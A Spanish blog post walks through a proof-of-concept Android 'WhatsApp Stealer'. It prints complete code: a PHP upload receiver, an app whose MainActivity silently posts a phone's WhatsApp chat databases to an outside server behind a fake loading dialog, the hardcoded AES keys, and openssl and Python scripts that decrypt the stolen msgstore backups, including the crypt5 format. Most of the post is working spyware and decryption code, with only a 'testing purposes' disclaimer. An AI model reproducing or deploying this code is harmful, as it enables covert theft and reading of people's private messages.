¿Es
posible subir y leer los chats de Whatsapp de un smartphone desde otra
aplicación de Android? Por supuesto que sí. Sólo necesitamos que la
aplicación maliciosa haya sido instalada aceptando los permisos para
leer la tarjeta SD del dispositivo
(android.permission.READ_EXTERNAL_STORAGE).
Hace unos meses se publicó en algunos foros una guía paso a paso para montar nuestro propio Whatsapp Stealer y ahora Bas Bosschert ha publicado una PoC con unas pocas modificaciones.
Para empezar con la prueba de concepto (y ojo que digo PoC que nos conocemos ;)) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:
php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.
$uploaddir = "/tmp/whatsapp/";
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "
";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "
";
echo "Type: " . $_FILES["file"]["type"] . "
";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB
";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
$uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
}
?>
Shoo.. nothing here
Después debemos configurar nuestro php.ini para subir ficheros grandes:
...
file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M
Lo siguiente que necesitamos es crear la aplicación de Android que
suba los ficheros de la base de datos de WhatsApp hacia el servidor web.
Para ello creamos un proyecto en Eclipse y empezamos modificando el
fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet:
xml version="1.0" encoding="utf-8"?>
xmlns:android="http://schemas.android.com/apk/res/android"
package="bb.security.whatsappupload"
android:versionCode="1"
android:versionName="1.0" >
android:name="android.permission.READ_EXTERNAL_STORAGE" />
android:name="android.permission.INTERNET" />
android:minSdkVersion="8"
android:targetSdkVersion="19" />
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
android:name="bb.security.whatsappupload.MainActivity"
android:label="@string/app_name" >
android:name="android.intent.action.MAIN" />
android:name="android.intent.category.LAUNCHER" />
Para la disposición podemos utilizar el diseño predeterminado que
crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el
tamaño del texto. La subida del fichero ocurre antes de ver el layout,
para esta prueba de concepto de este activity_main.xml es lo suficientemente bueno:
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context=".MainActivity" >
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentTop="true"
android:layout_centerHorizontal="true"
android:layout_marginTop="179dp"
android:text="@string/hello_world"
android:textSize="24sp" />
A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:
- /WhatsApp/Databases/msgstore.db
- /WhatsApp/Databases/wa.db
- /WhatsApp/Databases/msgstore.db.crypt
- /WhatsApp/Databases/msgstore.db.crypt5 (últimas versiones)
package bb.security.whatsappupload;
/*
* This application is for testing purposes only.
* Use of this application is at your own risk.
*/
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;
public class MainActivity extends Activity {
//A ProgressDialog object
private ProgressDialog progressDialog;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
new UploadWhatsApp().execute();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
@SuppressWarnings("deprecation")
private void uploadFile(String file) {
HttpURLConnection conn = null;
DataOutputStream dos = null;
DataInputStream inStream = null;
Log.i("FILE", "Filename:\n" + file);
String lineEnd = "\r\n";
String twoHyphens = "--";
String boundary = "*****";
int bytesRead, bytesAvailable, bufferSize;
byte[] buffer;
int maxBufferSize = 1 * 1024 * 1024 * 1024;
String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php";
try {
// ------------------ CLIENT REQUEST
FileInputStream fileInputStream = new FileInputStream(new File(
file));
// open a URL connection to the Servlet
URL url = new URL(urlString);
// Open a HTTP connection to the URL
conn = (HttpURLConnection) url.openConnection();
// Allow Inputs
conn.setDoInput(true);
// Allow Outputs
conn.setDoOutput(true);
// Don't use a cached copy.
conn.setUseCaches(false);
// Use a post method.
conn.setRequestMethod("POST");
conn.setRequestProperty("Connection", "Keep-Alive");
conn.setRequestProperty("Content-Type",
"multipart/form-data;boundary=" + boundary);
dos = new DataOutputStream(conn.getOutputStream());
dos.writeBytes(twoHyphens + boundary + lineEnd);
dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
+ file + "\"" + lineEnd);
dos.writeBytes(lineEnd);
// create a buffer of maximum size
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
buffer = new byte[bufferSize];
// read file and write it into form...
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
while (bytesRead > 0) {
dos.write(buffer, 0, bufferSize);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
}
// send multipart form data necesssary after file data...
dos.writeBytes(lineEnd);
dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
// close streams
Log.e("Debug", "File is written");
fileInputStream.close();
dos.flush();
dos.close();
} catch (MalformedURLException ex) {
Log.e("Debug", "error: " + ex.getMessage(), ex);
} catch (IOException ioe) {
Log.e("Debug", "error: " + ioe.getMessage(), ioe);
}
// ------------------ read the SERVER RESPONSE
try {
if (conn != null){
inStream = new DataInputStream(conn.getInputStream());
String str;
while ((str = inStream.readLine()) != null) {
Log.e("Debug", "Server Response " + str);
}
inStream.close();
}
} catch (IOException ioex) {
Log.e("Debug", "error: " + ioex.getMessage(), ioex);
}
}
private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{
@Override
protected void onPreExecute()
{
//Create a new progress dialog
progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
"Loading, please wait...", false, false);
}
//The code to be executed in a background thread.
@Override
protected Void doInBackground(Void... params)
{
String fileWACrypt = Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
String fileWAPlain = Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/msgstore.db";
String fileWAwa = Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/wa.db";
MainActivity.this.uploadFile(fileWACrypt);
MainActivity.this.uploadFile(fileWAPlain);
MainActivity.this.uploadFile(fileWAwa);
return null;
}
//Update the progress
@Override
protected void onProgressUpdate(Integer... values)
{
//set the current progress of the progress dialog
progressDialog.setProgress(values[0]);
}
//after executing the code in the thread
@Override
protected void onPostExecute(Void result)
{
//close the progress dialog
progressDialog.dismiss();
//initialize the View
setContentView(R.layout.activity_main);
}
}
}
msgstore.db y wa.db son bases de datos sin cifrar utilizados en
antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES,
pero siempre usando la misma clave tanto para cifrar como descifrar:
346a23652a46392b4d73257c67317e352e3372482177652c.
Por lo tanto podremos descifrarla una vez obtenido mediante:
openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c
o mediante el siguiente script en Python:
#!/usr/bin/env python
import sys
from Crypto.Cipher import AES
try:
wafile=sys.argv[1]
except:
print "Usage: %s " % __file__
sys.exit(1)
key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))
Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas...
Actualización:
Desde la última actualización (2.11.152), WhatsApp ha cambiado el
algoritmo y la clave para cifrar las copias de seguridad en las SD. Los
nuevos archivos con extensión "crypt5" se cifran mediante aes-cbc-192.
Para descifrarlo podéis utilizar un script de grbnz0 y nullsub (más información en SbD):
- python pwncrypt5.py msgstore.db.crypt5 grbnz0@gmail.com > msgstore.sdb
#!/usr/bin/env python
"""
48bits presents:
8===============================================D~~~
WhatsApp msgstore crypt5 decryptor by grbnz0 and nullsub
8===============================================D~~~
"""
import sys
import hashlib
import StringIO
from M2Crypto import EVP
key = bytearray([141, 75, 21, 92, 201, 255, 129, 229, 203, 246, 250, 120, 25, 54, 106, 62, 198, 33, 166, 86, 65, 108, 215, 147])
iv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xBB,0xB6,0xB0,0xB9])
def decrypt(db,acc):
fh = file(db,'rb')
edb = fh.read()
fh.close()
m = hashlib.md5()
m.update(acc)
md5 = bytearray(m.digest())
for i in xrange(24): key[i] ^= md5[i&0xF]
cipher = EVP.Cipher('aes_192_cbc', key=key, iv=iv, op=0)
sys.stdout.write(cipher.update(edb))
sys.stdout.write(cipher.final())
if __name__ == '__main__':
if len(sys.argv) != 3:
print 'usage %s > decrypted.db' % sys.argv[0]
else:
decrypt(sys.argv[1],sys.argv[2])